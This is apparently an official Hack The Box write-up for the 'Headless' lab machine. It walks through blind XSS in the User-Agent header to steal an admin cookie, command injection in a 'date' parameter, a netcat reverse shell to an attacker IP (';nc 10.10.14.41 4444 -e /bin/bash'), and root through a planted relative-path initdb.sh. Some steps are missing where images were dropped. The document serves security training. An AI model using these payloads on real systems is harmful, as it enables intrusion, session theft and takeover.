Headless
Headless
Headless
Difficulty: Easy
Classification: Official
Synopsis
Headless is an easy-difficulty Linux machine that features a Python Werkzeug server hosting a website. The
website has a customer support form, which is found to be vulnerable to blind Cross-Site Scripting (XSS) via
the User-Agent header. This vulnerability is leveraged to steal an admin cookie, which is then used to
access the administrator dashboard. The page is vulnerable to command injection, leading to a reverse shell
on the box. Enumerating the user’s mail reveals a script that does not use absolute paths, which is
leveraged to get a shell as root.
Skills Required
Web Enumeration
Linux Fundamentals
Skills Learned
Command Injection
Sudo Exploitation
XSS (Cross-Site Scripting)
Enumeration
Enumeration
Nmap
ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.8 | grep '^[0-9]' | cut -d '/' -f 1 | tr
'\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.10.11.8
An initial Nmap scan reveals a Werkzeug -powered Python web server listening on port 5000 and SSH
listening on its default port.
HTTP
We navigate to port 5000 , which reveals a welcome page with a countdown of 24 days. We also see a For
questions button.
Clicking on the button redirects us to an HTML form to contact support.
<script>alert(1)</script>
However, when trying to do so, our payload is flagged. We receive a message stating that a hacking attempt
was detected and that a report will be sent to the administrator for investigation.
We see that our request's headers are displayed on the page, whereas the form's contents are not. As such,
we can try to inject JavaScript into the request headers instead. To do this, we make use of a web proxy like
BurpSuite .
The use of BurpSuite is beyond the scope of this writeup. Interested readers are urged to consult the
HTB Academy module on web proxies.
First, we intercept the submit request of the form containing an XSS payload.
We proceed to change the User-Agent header, injecting a <script> tag. If successful, this payload will
display an alert box with the number 1, confirming the presence of an XSS vulnerability.
<script>alert(1)</script>
We forward the request and get a popup on the website, verifying that there is a stored XSS vulnerability.
Stored XSS refers to a type of vulnerability where malicious scripts are injected into a web application and
stored on the server. Unlike reflected XSS, which requires the victim to interact with a specially crafted link
containing the payload, stored XSS payloads are stored on the server side and executed whenever a user
accesses the vulnerable page.
Reading the warning on the page, we can see that the admins will review the reports. This means we could
attempt a blind XSS attack to steal their cookies.
This script creates a new Image object in JavaScript, which silently sends an HTTP GET request to our server
with the victim's cookie encoded in Base64 as a query parameter.
We start a Python server to listen for incoming connections. This command starts a simple HTTP server on
port 5000 on the local machine, which listens for any incoming HTTP requests.
python3 -m http.server 5000
fname=test&lname=test&email=test%40headless.htb&phone=0700000000&message=%3Cscript%3Ealert
%281%29%3C%2Fscript%3E
After sending the request and waiting for some time, our Python server eventually receives two callbacks:
The first cookie is from our session, so we are mainly interested in the second cookie, which is encoded in
Base64 . To extract information from it, we proceed to decode it.
is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0
The command above uses the echo command to print the Base64 -encoded string to the standard
output. The | (pipe) operator then sends this output as input to the next command, base64 -d ,
which decodes the Base64 -encoded input from standard input -d stands for decode).
We have successfully stolen an admin's cookie, so we now proceed to fuzz the application to identify other
pages where we can utilize it.
ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-
medium.txt:FFUZ -u http://10.10.11.8:5000/FFUZ -ic -t 100
<...SNIP...>
________________________________________________
:: Method : GET
:: URL : http://10.10.11.8:5000/FFUZ
:: Wordlist : FFUZ: /usr/share/wordlists/SecLists/Discovery/Web-
Content/directory-list-2.3-medium.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 100
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________
[Status: 200, Size: 2799, Words: 963, Lines: 96, Duration: 197ms]
* FFUZ:
[Status: 200, Size: 2363, Words: 836, Lines: 93, Duration: 322ms]
* FFUZ: support
[Status: 500, Size: 265, Words: 33, Lines: 6, Duration: 236ms]
* FFUZ: dashboard
Ffuf is a web fuzzer used to discover hidden files and directories on web servers. We run it with the
following options:
-u : Specifies the target URL to fuzz, where FUZZ will be replaced by entries from the wordlist.
The tool's output reveals a /dashboard endpoint, which we do not have access to:
However, since we already possess a cookie, we can attempt to use it to gain access to the page.
Foothold
We proceed to set the cookie in our browser. In Firefox , we right-click on the browser window and select
Inspect Element , then navigate to the Storage tab. From there, we can modify the cookie value to match
the one we stole:
We refresh the page, successfully gaining access to the admin dashboard.
On the application, we have the option to generate a health report. Pressing the button returns a message
stating that systems are up and running.
We intercept the request via BurpSuite to get a better look at what is happening behind the scenes:
date=2023-09-15
We are dealing with a POST request, containing a single date parameter. At this stage, we can check for
command injection by appending some data to the date and observing the server's responses.
date=2023-09-15;id
By adding ;id to the date parameter in the POST request, we are attempting to inject the id command
into the server-side processing pipeline. If successful and if the server executes commands based on user
input without proper validation, the response from the server might include the output of the id
command, indicating that the application is vulnerable to command injection .
Upon forwarding the request, we observe that the injection worked, as the webpage returns the output of
the id command.
Knowing that we can execute arbitrary commands on the target, we can now leverage this into an
interactive shell.
The command below initiates a Netcat connection to our IP address 10.10.14.41 on port 4444 ,
executing /bin/bash upon connection, effectively providing a reverse shell.
nc -lnvp 4444
Then, we send the following request, where we inject the reverse shell command into the date parameter.
We make sure to replace the spaces with + symbols so that the request is interpreted correctly:
date=2023-09-15;+nc+10.10.14.41+4444+-e+/bin/bash
nc -lnvp 4444
id
uid=1000(dvir) gid=1000(dvir) groups=1000(dvir),100(users)
The script command creates a new PTY running /bin/bash and logs all output to /dev/null ,
which effectively discards the output. This makes our shell more stable than the initial Netcat shell.
Looking at /var/mail/dvir , we see an interesting message. The message provides an update about a new
system check script implemented on the server.
Hello!
We have an important update regarding our server. In response to recent compatibility and
crashing issues, we've introduced a new system check script.
Rest assured, this script is at your disposal and won't affect your regular use of the
system.
If you have any questions or notice anything unusual, please don't hesitate to reach out
to us. We're here to assist you with any concerns.
By the way, we're still waiting on you to create the database initialization script!
Best regards,
Headless
Running sudo -l , we can see that the script is located at /usr/bin/syscheck and that we can execute it
with root privileges, without providing a password.
dvir@headless:~/app$ sudo -l
exit 0
We can see the script above, /usr/bin/syscheck , performs several system checks and maintenance tasks.
First, it verifies if it's running with root privileges and exits if not.
It then identifies and displays the last modification time of the kernel vmlinuz* in a human-readable
format.
After that, it retrieves and shows the available disk space on the root filesystem.
The script also reports the system's load average. Additionally, it checks if a database service named
initdb.sh is running; if not, it starts it silently.
load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"
The interesting part is the database service check. If there is no process named initdb.sh running, the
script attempts to execute it without specifying an absolute path. This means the script first looks for
initdb.sh in the current working directory (CWD). Since we have write permissions in certain directories,
we can create a malicious script named initdb.sh in one of these locations. When the script runs, it will
find our malicious script in the CWD and execute it with root privileges.
To exploit this, we first create a script in the /tmp folder and name it initdb.sh . The script will spawn a
bash shell when executed.
dvir@headless:~$ cd /tmp
dvir@headless:/tmp$ echo -e '#!/bin/bash\n/bin/bash' > /tmp/initdb.sh
Next, we execute the syscheck script with sudo to gain root shell access:
We see that our initdb.sh script gets executed and grants us a root shell. The final flag can be found at
/root/root.txt .